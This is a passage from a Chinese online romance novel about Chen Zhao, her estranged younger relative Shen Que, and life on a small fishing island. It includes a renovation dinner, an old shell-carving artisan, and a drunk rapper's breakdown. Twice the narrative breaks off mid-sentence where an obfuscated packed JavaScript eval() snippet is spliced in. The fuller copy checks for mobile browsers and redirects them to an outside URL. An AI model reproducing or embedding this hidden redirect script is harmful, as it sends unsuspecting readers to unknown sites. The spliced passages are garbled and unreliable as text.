庄教授也不愧是教授级别的人物,一栋小小的破败老房子,在他的手下,用到最低的预算,能做出最佳的效果来。 这一聊就聊了几个小时,聊到饭店的客人都走得差不多了,芬姐也闲下来,给他们续了一些饮料。 确定好了改装方案后,陈昭起身由衷地敬了庄教授和康老师他们一杯。 “庄教授,康老师,房子的事你们尽管按照你们的想法来就好,我只是半个出资人,绝对信任与尊重你们。” 康老师笑了笑,她眉眼弯弯地盯着陈昭,冷不丁地说了一句。 “昭昭,我其实从第一眼见你就觉得很熟悉,我们那小孙女和你很像。” 陈昭以为是自己和他们孙女长得像,笑了笑:“是缘分。” 就连芬姐也忍不住附和起来:“相遇即缘,康老师和庄教授你们夫妻俩不知道多少人羡慕呢。” 陈昭支着下巴,看着两老人两鬓斑白,但看向彼此的眼底又充斥着爱意,让她这个从小对感情一事没怎么动容的人都心动了。 就好像……切实近距离的感受到相濡以沫到生命尽头的爱意。 无比的浓烈又美好。 任谁看了,都忍不住报以最大的祝福。 “康老师,祝福你和庄教授能……得偿所愿。” 陈昭倒了一杯清甜的椰子水,滑入喉中的香气,逐渐蔓延至血液之中。 康老师收起平板,同样笑着接受她的祝福:“谢谢,不过,水无定,花有尽,人生常在别离中。” 陈昭微微一顿,垂下眼眸,无声中却认可康老师的话。 人生常态,不就是离别么。 相守的结果,依旧是一样,所以珍惜当下,好像尤为重要。 芬姐没听清,只觉得别离不像好事,便笑着从一个柜子里拿出几把伞来。 “外面下雨了,等会你们回家的时候记得拿上这些伞。” 陈昭扭头,果然看到氤氲的窗户玻璃上被雨丝打下,淅淅沥沥的声音也从外面逐渐传进来。 庄教授看时间已经不早,便拉着康老师起身和他们告别。 陈昭和芬姐送他们到门口,看着路灯下两人依偎在一起的背影,彼此心里悄然地爬上了某些情绪。 芬姐羡慕着说:“如果这一辈子能和自己的爱人走到这个年纪,也是很好了。” 陈昭的余光瞥见了她眼底的湿意,忽然想起那天芬姐在海边说的那些话。 她的丈夫因救人而早早的离开这个世界,这么多年她守着脆鱼饭的招牌,养育着两人的女儿,想必一直没走出来。 陈昭跟着她进屋子,重复着康老师说那句话:“水无定,花有尽,常于别离,享受当下。” 可是陈昭道理是懂,但她好像无法做到去坦然地享受当下,去坦然的接受自己内心。 也许人的情绪总是复杂的,也是矛盾的。 本想着和芬姐再喝点椰子水,但陈昭刚坐回楼上包房,楼下就来了客人。 从她这个角度可以看到走在最前头的是沈确。 他身后还有两个相识的面孔,仔细一想,好像是陈昭观鲸那天,和沈确一起在游轮上的同事。 他们一行五个人,嘴里碎碎念叨着工作的繁琐,报告的难写,以及……吐槽杨指导事多。 沈确眉眼弯弯地笑着坐在一旁,贴心地为他们摆碗筷,点菜,还有倒酒。 棱角分明的脸上,是无比的放松与温和。 与自己在一起呆着的严肃不同。 如果不是那一晚,他在自己心里的印象,大概永远都像这样,温顺,乖巧,又毫无棱角。 陈昭不禁想起曾经没有进一步发展的两人,单纯的关系让他在自己面前无比贴心。 有时候陈昭还会打趣,抛开两人的年龄,她有种养了个孝顺儿子在身边的感觉。 当然,那还是在感情一点也没有变质的时候。 可能也是她认为的没有变质。 殊不知,十八岁的沈确,做了一个梦。 梦里的情节,就像他那天看的一部电影很像,女人攀着男人的肩膀,胸口紧紧的贴在他的锁骨位置,骨节分明的手捧着男人的脸,让其被迫抬起来,迎接女人柔软的唇瓣。 而梦中的男人,是他自己,坐在身上的女人,则是陈昭。 他们吻的气喘吁吁,忘我又动情,被惊吓而起的时候,他看着湿润的床单,整个胸腔都在沸腾。 他就像犯了大错的死囚,将自己捂在被子里接受心理审判。 心虚过大,他冲出房间打算去冲个凉。 结果刚出房门,就看到陈昭半夜回家,躺在沙发上闭目养神。 她听出了沈确的动静,但没有动作,只说了一句:“能帮我拿下餐桌上的水果吗?” 酒红的车厘子显然是刚洗过,沈确深吸一口气,按下心里的翻涌,将那盘车厘子递到她面前。 她顺手拿过,不经意触碰到他的指节,只一下的触碰,却如微小的过电,让沈确瞬间慌神,脑子一片空白,下意识地缩回了自己的手! 好在,陈昭并未发现他的慌乱。 一直以来,至少在沈确二十岁那晚之前,陈昭都没怎么注意到他的感情变质,也没将自己轻微的感情变化放在心上。 以至于那天晚上天崩地裂后,她慌不择路地做了错误的解决办法——无情将他推开,将两人的关系降至冰点。 没有缓冲期,那晚有多激烈,她后来的反抗就有多冷漠。 冷漠到直接将沈确击溃,让他选择毕业留在聆海,除了线上偶尔的关心外,再也没回过明港。 当然,大部分还是陈昭的避让以及决然。 此刻的陈昭捏着水果勺子,看着楼下和同事交谈甚欢的沈确,好像回到了当初他在自己身边的时光。 缓过神后,苦涩一笑,强制按下那些情绪。 取而代之的是欣慰。 欣慰自己并未干扰他的人生,他能和姑姑所希望的那样,做一个正常人。 有自己的追求,有属于他的社交圈,有努力又安稳的生活着。 恍然间,芬姐的声音忽然从背后响起:“昭昭,你和小沈……是不是有过什么矛盾?” 芬姐看出了两人的不对劲,正常来说,姐弟关系不该是彼此带着敌意,又有些警惕,关键又关心和担忧对方。 陈昭笑了笑,并没有提起沈确的身世,只是顺着芬姐的话点点头:“恩,有过矛盾,不过现在会慢慢缓和的。” 芬姐赶紧说:“你和小沈都是很好的人,不管是什么矛盾,肯定可以化解。” “这几年小沈在我们小岛上可是出了名的热心肠。研究院还是五年前搬来的,我听说他们团队本是为了研究布氏鲸而驻扎在这。我们时代渔民,见过布氏鲸,但以前它们并不像现在这么活跃,曾经一度也因为环境问题和捕捞让这些鲸鱼迁徙,我爸他们那一辈就没怎么见过了。” “他们驻扎了这后,又建了海洋馆,本来村子就不大,他们团队大部分都是一些年轻的读书人,博学又热情,但凡村里发生点什么事,他们二话不说就来帮忙了。” “尤其是小沈,又是帮忙修路,又是帮忙造院子的,村里谁不认识他呢!” 芬姐说起这些,陈昭莫名觉得骄傲,虽然很可笑,但这些感受却是真的。 “他一直很细心,也很体贴的。” 懂事很早,又很聪明,除了那晚,让她感觉像心里住着的那只野兽被偶尔放出来,其他时候,他都是没的说。 对此,芬姐非常赞同:“是啊,没有比小沈更细心体贴的人了。” 如果他们不是姐弟的话,两人看起来还挺配的。 当然,这个想法芬姐也只敢自己想一想了,肯定是不能说出来的。 兴许是两人的视线过于浓烈,以至于沈确蓦然抬头,刚好与陈昭的目光撞了个正着。 她眉眼轻动,下意识地想别开,然而沈确的视线却紧追而来,身边的同事也察觉到,纷纷抬头。 见到是陈昭这个漂亮的女人,顿时有人就起哄了:“哎呀,这不是陈小姐么?” “观鲸那天陈小姐好像还有些晕船吧?是小沈给的晕船药。没想到陈小姐还留在小岛上呢?” “我就说这几天咱们小沈心神不宁的,原来是……” 他们几个别有深意的起哄,沈确也不反驳,只是目光追着陈昭,见她对于别人的打趣无动于衷,刚刚也不知道看了自己多久,忽然起身上楼。 当着这么多人的目光,他竟然拉过陈昭的胳膊带她下楼。 陈昭本想缩回,但发现沈确根本就没有给她任何的挣扎机会。 来到众人面前后,沈确坦坦荡荡地笑着开口:“介绍一下,我姐,陈昭。” “哦呦,这就成姐姐了?” “真姐姐还是假姐姐啊?” “陈小姐,你快说说,咱们小沈是什么时候认你当姐姐的?” 沈确微微眯眼,好像是故意将这个棘手的问题抛给陈昭。 陈昭微微一笑,看了他一眼,真诚表示:“小沈是我姑姑的儿子,我的,堂弟。” 此言一出,那些人瞬间焉了气,互相打趣起来。 “还真是弟弟啊。” “此弟弟非彼弟弟,想多了想多了,姐姐莫怪。” 但随之而来的,又多了两个人眼巴巴地朝她递过微信二维码。 “既然如此,不知道姐姐方便加我微信么?我是小沈的同事,叫我宋骏就好。” “还有我还有我,自我介绍下姐姐,我也是小沈同事,只比小沈大一岁,叫蒋毅。” 陈昭微微一笑,拿出手机,下一秒却被沈确按下去,他抢过那两人的手机:“有我微信还不够?加我姐做什么?有任何事我来转达。” 蒋毅哼哧一声,一拳头捶到他胸口上:“要你管!姐姐都没说什么。” 沈确双手环胸,盯着陈昭表示:“被姐夫知道,你们都没好果子吃。” 一听说是有姐夫的人,蒋毅他们也瞬间老实了,哈哈笑着便将加微信的事盖了过去。 客客气气地倒了杯酒给陈昭,还表示这只是果酒,是他们这地特产,想让她尝尝鲜。 但被陈昭婉拒:“抱歉,最近不能碰任何酒精饮料。” 这时那个帮芬姐忙的男人笑着走来:“不厚道啊,都是你们姐姐了,还敢劝酒?” 说完就要帮陈昭喝了那杯酒,却被芬姐一手拦下:“你前天医生怎么和你说的?” 男人挠了挠头,有些不好意思,芬姐干脆一口喝尽,罢了罢手:“喝好吃好,再送你们一盘鱿鱼干。” 说笑中,沈确已经给陈昭倒了一杯牛奶,递到面前时,用只有两人才听得到的声音小声问。 “什么时候戒酒了?” 陈昭还没来得及回答,他紧着声音反问:“怀孕的时候吗?” 陈昭一顿,有些诧异地看过去。 她并没有真的怀孕,只是在和孟均结婚的第二年,莫名被八卦媒体捕捉到在医院进出,真正怀孕的是赵写茹。 去父留子第一人,但当时赵氏处于风口浪尖,赵写茹这私人消息万不可被那些八卦知道。 谁知道被拍到她出入医院产科,作为一个对外已婚的人,陈昭也没有特意去澄清,就这样让别人误会着,也顺手帮了写茹一把。 以至于后来与孟均分居两地后,被传婚变,又有人说她的孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈确眉眼微动,在她要上楼的时候忽然挡在她面前。 彼时他的神情已经彻底温和下来,垂着目光凝视着陈昭说道:“如果你真想让我回到二十岁之前我和你的关系,我答应你。” 说完便轻轻抱了抱她:“昭姐。” 这个拥抱,像极了当初陈昭将他从姑姑家带回来,然后他感激地抱了自己一下。 那时的他也是这么叫她:“昭姐。” 在陈昭看来,他也许现在真的已经在接受自己的提议,让他们都能选择性地遗忘那一晚。 可有些事情,其实就像被滋养的根系,即便土壤外层已经被砍伐削平,土壤下的根系,还是在不断的吸收养分,蔓延生长。 只等有个机会,破土而出。 —— 好些年前的某个夜晚。 陈昭把车停在车库,从院子走回大厅时,由于大厅的灯出了故障,她摸黑前进,不小心高跟鞋的鞋跟从石板上踩空,崴了下脚。 她一瘸一拐地打开门,刚好看到沈确从洗手间里出来。 见到她瘸拐的模样,沈确给她从二楼药箱里拿了喷的药过来。 得知是感应灯的问题,他二话不说去杂物间搬来了梯子。 陈昭纳闷,因为她自己都不知道自家有这么大的梯子,还有那么大一个工具箱,甚至连崭新的灯泡都有。 看到工具箱里满满当当的物件,陈昭表示:“明天我让阿姨找人过来修就好,不用麻烦你。” “换个灯而已。” 沈确熟稔地拿出对应工具,三两下就安上了新的感应灯。 他从梯子上下来,轻咳了一声,感应灯瞬间亮起。 等了一会后又陷入黑暗,陈昭见状,轻唤了一句,将其唤亮,在一亮一暗交织中,两人忍不住对视而笑。 陈昭忍不住竖起一个大拇指:“太厉害了你。” 她只以为沈确是学习好,其他的事也没留意过。 却不知昏暗的环境中,沈确微微泛红了脸,对于她的夸赞,感觉心里像被吹起了一片轻叶,打着璇儿在空中晃荡。 此时此刻,坐在阁楼床榻上的陈昭,看着窗户外面明亮的路灯,心里涌出一股暖流。 她沉吟片刻,毫不犹豫地拉上了窗帘。 次日。 陈昭约定要去康老师那栋屋子看看情况。 这两天庄教授在做改装方案,而里面的一些不用的东西,以及院子里的垃圾都找了人过去清理。 据说庄教授已经联系了村子里一个施工队,专门跑工地的几名工人,打算选个合适的日子开工。 先把该凿的凿了,该清理的清理了,把硬装做好了再让另一个团队入场。 不过陈昭刚出阁楼没多久,走到半路上忽然看到半路上两个人在你追我赶。 一个中年男人扛着锄头,叼着烟怒气冲冲地追人,而跑在前头的年轻男人一边嘶喊一边绕着电线杆好几圈。 混乱之中,年轻男人看到了迎面走来的陈昭。 连忙往她身后一躲:“哎呀!昭姐,昭姐救救我!” 陈昭还没反应,扛着锄头的中年男人跑到了面前,她下意识地伸手阻拦,男人赶紧把锄头放下。 他怒气冲冲地把那根烟一脚踩灭,指着陈昭身后的人喊起来。 “我看你是不把你老子我气死不甘心啊!!啊!” “我好心给你找了师父,给你找了工作的地方让你去聆海赚钱,你还不识好歹的不去?你说说你那门面,这一个月下来修了几辆车啊?!啊?你还把水电门面饭钱都给倒贴了!你要喝西北风吗?!” 背后的年轻男人不甘示弱地吼出声:“门面就是咱们自家的,零成本好吗?再说我才刚开没多久,小岛这不旅游人数还没上来么!我修车肯定修不了几台啊!以后不就好了么?!” “你……” 中年男人被气得不轻,抡起锄头就要打,陈昭赶紧劝慰:“大哥,大哥消消气。” 她这才想起来,躲在身后的男人,是当时沈确的朋友,好像是叫蔡奇。而眼前的被气到差点吐血的中年男人,则是昨晚去芬姐店里帮忙的男人,如果没记错的话,是叫蔡建国。 现在看来,两人是父子了。 可一见面就干仗的父子,陈昭觉得自己有些无故被波及了。 然而蔡奇像条泥鳅似的,一见陈昭去拦蔡建国了,他一溜烟就往前方院子里跑。 “你小子!给老子站住!今儿不打死你我跟你姓!” 不等陈昭再开口,蔡建国已经举着锄头又追了上去。 陈昭担心真出什么事,下意识地跟了过去,然而没跑两步,在一个斜坡上忽然看到一个熟悉的身影。 是沈确。 而此时的他正在一个屋子前,坐在椅子上替一个老人洗头发。 老人仰躺在轮椅上,胸前围着一块毛巾,暖和的阳光下,热水浇过头发,升起一丝丝的热气。 沈确耐心地搓着泡沫,有一搭没一搭地和老人聊着最近研究院里的一些事。 站在高处斜坡的陈昭,不禁停下了脚步,眼眶一下子温热了起来。 姑姑病重的那段日子,沈确也是这样照顾她。 比任何护工都要细心,记得每次去看望姑姑的时候,都会见到他事无巨细地照顾着。 偶尔姑姑要洗头,他就会在院子里以同样的方式帮她。 想起已经走了好多年的姑姑,陈昭眼眶晕红,她眨了眨眼睛后强制自己回过神。 然而缓过神后,身后的父子二人早就不见了踪影。 她转身欲走,却看到沈确已经站起身,忽然喊了她:“昭姐。” 陈昭看过去,见他冲自己招手,犹豫了下还是走下阶梯,进了院子。 此时老人已经洗完头了,用一块干毛巾包着,笑眯眯地看向陈昭,沈确坦然地介绍道:“薛老,这是我姐,陈昭。” “原来你就是小沈的姐姐,你好,欢迎你来我们小岛,在这里还住得习惯吗?” 14. 014. 老人家很热情,面目慈祥,陈昭客客气气地附和了两声。 他笑眯眯地和陈昭不遗余力地夸沈确:“你家小沈真的教得太好了,人很善良,这么多年,他每周都要来这看看我,照顾我,我这心里都……都过意不去呢!” 老人拍着他的心口,眼眶湿润得满满都是感激。 说着还让沈确有些不好意思,他咳嗽了两声,想要把他推回屋子。 陈昭见状,下意识地帮了一手,和沈确并排站着,一起把轮椅推进屋。 刚进屋子,陈昭就被摆在案桌上那幅精美的雕刻画给吸引了目光。 才完成一半,但画作上天然的色泽和纹理形状让陈昭不由得多看了两眼。 仔细看,陈昭认出了这幅画作的材料,应该是夜光珍珠贝。 独特的色泽和形状,经过手艺人的精心雕琢,堆砌,成为一幅艺术价值极高的贝雕画作。 前几年她陪着赵写茹在明港一处拍卖会上,便买下过一幅极其精美的贝雕画。 对比起来,老爷子这手艺活还真是一点都不差。 老人见她这么喜欢,干脆从抽屉里拿出一幅完成的画作递到陈昭面前。 “初次见面,陈小姐不嫌弃的话可以收下这份礼物。” “这幅贝雕画是我上个月完成的,这上面的贝壳还是小沈帮我在收集起来的。” 在光线照耀下的立体画,格外的灵光宝气。 陈昭受宠若惊,不好意思收下:“薛老,这是你的作品,我怎么能说收就收呢?这么贵重怕……” “贵重什么?无非就是我闲时做的工艺品罢了,你不嫌弃就好。” 说完便强行放到了陈昭的手掌里。 “薛老送给你的就别推脱了。” 沈确看向她,见他也这么说了,陈昭也不再来回纠结了。 为表感谢,她看沈确给薛老打扫卫生,她也拿着扫帚帮他清扫院子。 沈确本不想让她费心,可架不住陈昭的意愿,最后只好由着她去打扫。 只是……十指难得沾阳春水的长公主,在商场上雷厉风行,可对付家务琐事,很明显没多少经验。 看着有模有样,但打扫得并不干净。 沈确看在眼里,也不说出来,只默默地在背后又帮她整理了一遍。 一直到院子干净到一尘不染后,两人才离开此地。 彼时陈昭还拿着这幅贝雕画仔细欣赏,这种手工制品,经得起细看推敲,只有拿到手中,亲眼见证它的细节纹理,才能真切感受到独特的美。 陈昭珍惜地将裱框扣紧,顺便问了沈确一句:“岛上有卖木框的吗?” 她想用玻璃和木框重新裱起来,能更好地保存与欣赏。 沈确眉眼轻动,停下脚步问她:“很喜欢吗?” 陈昭笑了笑:“你不觉得很漂亮吗?若是拿到拍卖行,起码能值这个价。” 说完便伸出几根手指示意,可沈确却是轻笑:“昭姐,这不是明港。薛老身体不方便,平均每周就勉强刻出一幅画,这种贝雕,在这卖不起价。” “所以我会收集他一个月的画作,拿去聆海的工艺市场委托商行老板卖出去,像你手中这个尺寸的,大约能卖到五百多。” “才五百?” 陈昭有些诧异,在她看来,五万都是对薛老手艺的不尊重。 可沈确说的一句话很对,这里不是明港,也不缺手艺人。 缺的是别的方面。 沈确看到她脸上可惜的神情,忽然想到什么:“如果……你明港的那些朋友有需要这种工艺品,可以找薛老订,让他存点钱。” 陈昭一眼看出他心里打的算盘,知道她圈子里愿意买单的大有人在,算盘珠子崩到脸上。 正要开口,沈确又告诉她:“薛老的女儿年后就要出狱了,需要点钱。” “出狱?”陈昭微微蹙眉,沈确一脸淡定地继续说。 “我听人说,薛老的外孙女十年前在聆海中学出了意外去世,外孙女的母亲,也就是他的女儿因蓄意谋杀入狱。” 陈昭隐隐听出了些什么,但又没有完全了解事情前因后果,正要多问,远处忽然传来了蔡奇的声音。 “确哥!!确哥,我有点事找你。” 他打断两人的话,急急忙忙地来到沈确身边,看到陈昭后还讪笑一声,感谢道。 “谢谢你啊昭昭姐,刚才要不是你,我怕是要被我家老子给抡死了!救命恩人,下次请你吃饭。” “我这会找确哥有点事商量,先走一步啊。” 不等沈确和陈昭开口,蔡奇就已经拉着沈确去了他开的小三轮上。 事态紧急,他不得不向沈确求助了。 “确哥,这回真要靠你跟我爸那轴人说说了,你给我再争取半年时间!就半年!” “你知道的,年后咱们小岛就要正式对外开放旅游了,轮渡都能载轿车,我那临街修车店肯定能赚到钱的。” “我爸最听你的话,你只要愿意出马帮我说话,他肯定会给我机会,求你了!不然我真要被他赶去聆海给人当学徒去了,还是个摇奶茶的学徒,我真服了!” 沈确见他身上到处都是淤青伤口,知道这父子俩又不消停了,无奈地拍了拍他的肩。 对于他坚持要开修车行一事,自己也早就劝过他,不过蔡奇执意如此,如果小岛开放顺利,倒也是条出路。 所以沈确此前还借了一笔钱给他。 这次也能帮一手。 蔡奇一看他答应,顿时抱着他又亲又啃,激动不已! “亲哥!我的亲哥啊!!我就知道你不会见死不救的!确哥,我真有预感,这次我指定能成。” “你看你们研究院和旅游团都合作了,还有小岛现在每天都有游客来,希望大大的!” “今儿你帮了我这么大的忙,我等会就叫上昭昭姐,咱们一起吃夜宵!我还给你介绍妹子!美女一个,在聆海上大学的,我以前好哥们的妹妹,怎么样?让昭昭姐姐把把关?” 刚说完,他就对上沈确明显晦暗下来的眼神。 心中一紧,后背发毛:“怎……怎么了?哎呀确哥,你要是不喜欢我给你介绍对象那就不介绍呗!就去人家女孩吃个饭而已,没别的……” “你什么时候和陈昭那么熟了?还昭昭姐姐?” 从刚刚在路边沈确就看出了不对劲。 蔡奇嗨了一声,打趣道:“你可是我亲哥!你的姐姐不就是我的姐姐么!我还听说啊,昭昭姐说你是她姑姑的儿子,你两这堂亲关系这么近,还有什么别扭可闹的啊。” 他都忍不住要翻个白眼了,然而没想到沈确沉下眼眸,冷笑一声。 “八竿子打不到一起的堂亲,你真以为我和她有血缘关系?” 说完又掏出自己的手机,亮起了他的手机屏幕。 屏幕上的陈昭正揽着他的肩膀,笑得一脸温柔。 而蔡奇也是在沈确别有深意的目光中,后知后觉! 只见他双手捂着自己的嘴,一脸的不可思议道:“你的意思是……你的意思是她是你那……那……” 沈确抬眼,“警告”他:“哥帮了你这么多忙,这事就当不知道,别给哥找麻烦,O不OK?” 得知某个真相的蔡奇,视死如归地拉紧了自己的嘴,在一片震惊中重重点头。 这个秘密,全岛只有他知道。 也是确哥的命门,他怎么能随意散播?!只是……很震惊罢了。 推翻又推翻,还真应了自己一开始的猜想。 - 次日陈昭收到了蔡奇送来的玻璃裱框。 “昭昭姐,确哥昨天和我说你需要一个裱框,刚好我今天去进货,顺便给你买回来的!看看合适不?” 陈昭感谢了他一番,拿过那玻璃裱框去试了试,贝雕画放得刚刚好。 而且这个玻璃裱框做工很不错,显得薛老这幅创作更具价值。 原色柚木框与画作本身的花鸟意境本就适配。 对此陈昭还特意夸了一嘴,倒让蔡奇有些不好意思起来,讪讪笑道:“我就随手买的。” “那你这随手随的很巧了,很适配。” 听到陈昭的话,蔡奇在心里忍不住嚎了一嗓子,毕竟也是确哥再三交代,亲自视频指导他去逛了不少材料市场才选到的好框。 不适配才怪了。 他也就个跑腿的,也看不出来这适配度到底有多少。 圆满完成送框任务后蔡奇就跑没了影。 接下来的几天,陈昭一直没见到沈确,后来在芬姐的店里偶遇了杨指导一次,才知道沈确这几天忙工作,没多少时间从研究院里出来。 还叫她不要担心,会带去家人的问候。 陈昭忍俊不禁,正好这会小岛渔村的村委主任来到饭店,挨家挨户地张贴清扫日告示。 陈昭还是第一次听说小岛上还有统一的清扫日。 在他们这被叫做迎神节,为小年到来提前做准备,家家户户都要彻底大扫除。 而这次为了配合小岛旅游的开放,提前就和村民科普了垃圾分类等事项,在村里各个地点都设立了分类桶。 虽然比平时要麻烦一些,但众人也是乐此不疲。 房东夫妻俩还热情地邀陈昭一起打扫,不过担心她是外地人,不了解迎神节在他们本地有多隆重,还特意拿了些好吃的风干鱼上门邀请。 陈昭受宠若惊,当天便拿上工具,和房东他们一起把院子里里外外都洗刷了一遍。 隔壁徐嫂的孩子,也就是那天和陈昭在泥潭里一起滚过的女孩,拿着扫帚跟在陈昭屁股后面帮她打扫。 她小名叫豆豆,自来熟得很,陈昭也习惯了这些日子豆豆趴在院子不高的围墙上,成为第一个和她说早上好的甜豆。 陈昭去打扫后院的时候,为了不让她把新衣服弄脏,特意给她“安排”了个小任务。 让她捡院子里的落叶。 然而陈昭才到后院没多久,忽然听到前院传来豆豆的哭声。 她疑惑地折回去,刚到院子门口,就看见一个穿着新潮的年轻姑娘,染着一头银发,皱着眉头盯着豆豆看。 她冲豆豆面露凶光,吐了舌头露出她的舌钉,吓得豆豆哭得更大声了。 很快就把房东两口子和隔壁徐嫂也引了过来。 那银发姑娘脸色淡然地转身,背着吉他毫无顾忌地走进一楼隔壁的小房间。 房东夫妻俩赶紧去安慰豆豆,徐嫂也一脸心疼地抱着豆豆哄。 陈昭还是第一次见那个姑娘,不知道发生了什么事,遂上前多问了一句。 徐嫂等房东夫妻离开后,才一脸不满地和陈昭吐槽起来。 “陈小姐你不知道,那是房东他们家的外甥女,很没礼貌的,穿得奇奇怪怪,每次来这借住都没什么好事。” “叫什么于思存,就喜欢吓我们豆豆,性子阴沉得很,你也少和她来往,不过她应该住不了几天就得走的。” 说完又给抱着豆豆哄了哄:“好了豆豆不哭了,咱们等怪阿姨离家后再过来和昭昭阿姨玩好不好?” 豆豆委屈着小嘴巴,一边抽泣一边表达对陈昭的不满。 “昭昭阿姨,那我……那我下次再来找你玩。”说完又害怕地问徐嫂:“可是妈妈,怪阿姨会不会也吓昭昭阿姨?” 徐嫂失笑:“昭昭阿姨很厉害的,怪阿姨才不会吓到呢。” 陈昭扭头看了一眼吃了闭门羹的房东,觉得有些奇怪。 年轻又有个性的姑娘不在少数,性子难搞的也有。 就像赵写茹她家那妹妹,赵氏的掌上明珠赵珈宜,十几岁的时候还不魔王吗? 陈昭收回目光,继续清扫。 当天晚上她睡得好好的,忽然被楼下的吼声给吵醒了。 她惺忪着睡眼打开台灯,仔细听了下,好像是隔壁徐嫂和人在争吵。 陈昭披上外套后走出阁楼,从天台往下一看,赫然发现徐嫂气急败坏地正指着院里控诉。 “张姨!我知道她是你外甥女,你拿她没办法!可也不能眼睁睁看着她大半夜的唱歌扰民啊!” “豆豆明天还要上学,大半夜的被吓醒好几次,我看于思存那是脑子有病!” 除了徐嫂,还有隔壁另外一户人家也来人了。 房东很为难的道歉,然而屋子里还在源源不断地唱着歌。 最终是徐嫂忍无可忍地踹开房门,众人才看到喝到烂醉,摇摇晃晃从房间里走出来的于思存。 她的烟熏妆晕了大半,浓郁的酒气劝退一众人。 只有房东担忧地上前,刚要开口,于思存忽然倒地不起! 吓得房东脸色发白,赶紧喊她:“思存,思存?!” 可不管她怎么喊,倒地的女人都毫无反应。 徐嫂他们也是被吓了一跳,瞬间慌了神:“她……她还不会是喝多了,喝到胃出血了吧?!赶紧的,快,快送去卫生室!!” “现在这会卫生室都没人了,得去社区医院!” 社区医院还在之前陈昭住的单位宾馆那边,她喝那么多,陈昭担心出什么大事,马上给沈确打了一通电话。 不到两秒钟他就接了起来,不等他开口,陈昭就让他赶紧开车过来接人。 陈昭见徐嫂他们那么着急,冷静下来安慰他们:“先别急,我刚刚看了下她呼吸心跳都还算平稳,不会有事的。” 徐嫂六神无主地原地踏步:“你说……你说我也就是觉得她大半夜的吵着人睡觉了,所以就过来说两句,也没想到会这样啊。” 这事其他人肯定也是没想到的。 沈确以最快的速度赶了过来,众人一起把于思存放到车后,陈昭跟过去,其他人就在家等消息。 上次陈昭就听芬姐提起过,他们这的社区医院也才建没多久,很多设施都不完善,就想着以后游客多了,其他的基础设施也跟着上来,村民也都方便一些。 这下连个救护车都没有,的确不方便。 涉及人命,陈昭也不由地把心提到嗓子里。 结果两人的车刚开到海岸路上,于思存忽然从后座坐起来,双手抓着座椅唱了一段RAP! 陈昭的耳朵受到刺激,整个人都激灵了一下。 十分钟后。 车子停在路边,沈确把她从后座揪下来,正要开口,于思存忽然从外套的内里口袋拿出一瓶酒。 醉醺醺的靠在陈昭肩膀上:“你,陪我喝点?” 沈确忍着情绪,一把将她拉出去,挡在陈昭面前,正儿八经地和她说道:“没事是吧?送你回去。” 于思存忽然挣开他的手,眼神看着一下子清醒了似的,断然拒绝他的请求。 “我回去?我回哪去?” 说完这话后忽然苦笑起来,眼泪混着鼻涕被海风吹了一脸。 刚才还是没心没肺的控诉,一下子变得委屈起来。 “你们不知道,谁也不知道我现在根本没家回。” “沈确是吧?我知道你,蔡奇和我提起过,他……他说你是研究院的高才生,说你有钱得很,像你这样的人,怎么会知道我们的惨啊?” “我,于思存!在说唱圈混了七年!就因为一首歌,得罪了那王八蛋,他就告我状,找公司压我,逼我解约,两百万的天价解约费,我出得起吗?” “哈哈哈,出不起,行,那就被雪藏!我不混了不行么!可为什么,为什么我去酒吧糊口,都不给我路走啊?接二连三地砸我场子,逼我连一块钱都赚不到,就因为他们吊一些,就来欺负我个女人?哈哈哈……沈确,你说搞笑吗?” “我得罪谁了啊?我写的那首歌,难道说的不是事实吗?怪我diss他,雪藏我,封杀我,叫我连家都回不去,我……” 说到这,她泣不成声,瘫坐在地崩溃大哭。 “欺负我爸妈死得早,欺负我背后无人撑腰,欺负我穷,欺负我是岛民出身,他们凭什么?凭什么看不起人!!” “也怪我,怪我没用,连一个屌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726839|156429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝我都打不过!不如死了好了,沈确,你说是不是?” 她泪眼婆娑地又从地上爬起来,要往海边走。 陈昭和沈确赶紧拦下她。 “这些都是小事,冷静一下,回去等情绪稳定后……” 可不等陈昭说完,于思存忽然把酒递给她,让她喝:“你如果和他们不是一边的,你就陪我喝几口,我就相信你!” 陈昭一愣,知道她已经喝醉,也讲不通什么道理。 不过考虑到自己的身体情况,陈昭是能不碰酒就碰酒,虽然也没多大事,当初做保乳手术的时候就决心趁着这机会把酒戒了。 然而在她婉拒后,于思存的情绪再次崩溃,痛苦地缩回地上痛哭起来。 “我就知道,我就知道没人会站在我这边,我从来都是一个人!从来都是!!” 陈昭看到她崩溃的情绪,心中微动,见沈确要将她强制带回车上后,忽然拦下他。 她放轻言语,蹲在于思存的身边拿过那瓶酒,当着她的面喝了两口。 许久没有过的辛辣入喉,转眼却是回味甘甜,好像瞬间唤醒了她的味蕾。 戒酒不简单,但也不是很难。 只是重新尝到甜头后的那点滋味,难以用言语来形容得好。 这感觉,奇迹般地和她当初重新见到沈确相似。 沈确眉头微蹙,来不及阻拦,陈昭又喝了几口。 “这什么酒?味道还不错。” 这话一出,于思存瞬间来了兴趣,热情不已地开始为她介绍这酒的来历。 从她的第几个朋友的朋友开始说起,拉着陈昭说了一长串的话,其实陈昭也没听进去,甚至这瓶酒叫什么名字都不知道。 只知道这酒的味道不错,是她喜欢的,于思存话很多,目前她的处境也很惨。 沈确双手环胸,倚靠在车门上,看着这两个女人的背影,无奈地摇头。 他看着陈昭的背影,觉得她瘦了不少。 前几次拉手,明显感觉到她的腕骨没有什么肉。 可在自己的印象中,那一晚她身体的触感,分明是柔软的,而不是目前的骨骼分明。 哪怕不是那一晚,追溯到二十岁之前的每一次肢体触碰,都是那样。 想起很多年前青涩又敏感的那些心思,他的眉梢涌出一丝丝的笑意。 之前五年里的怀疑,愠怒,以及忏悔,都在如今肆意生长的爱意里被击溃到连影子都没有。 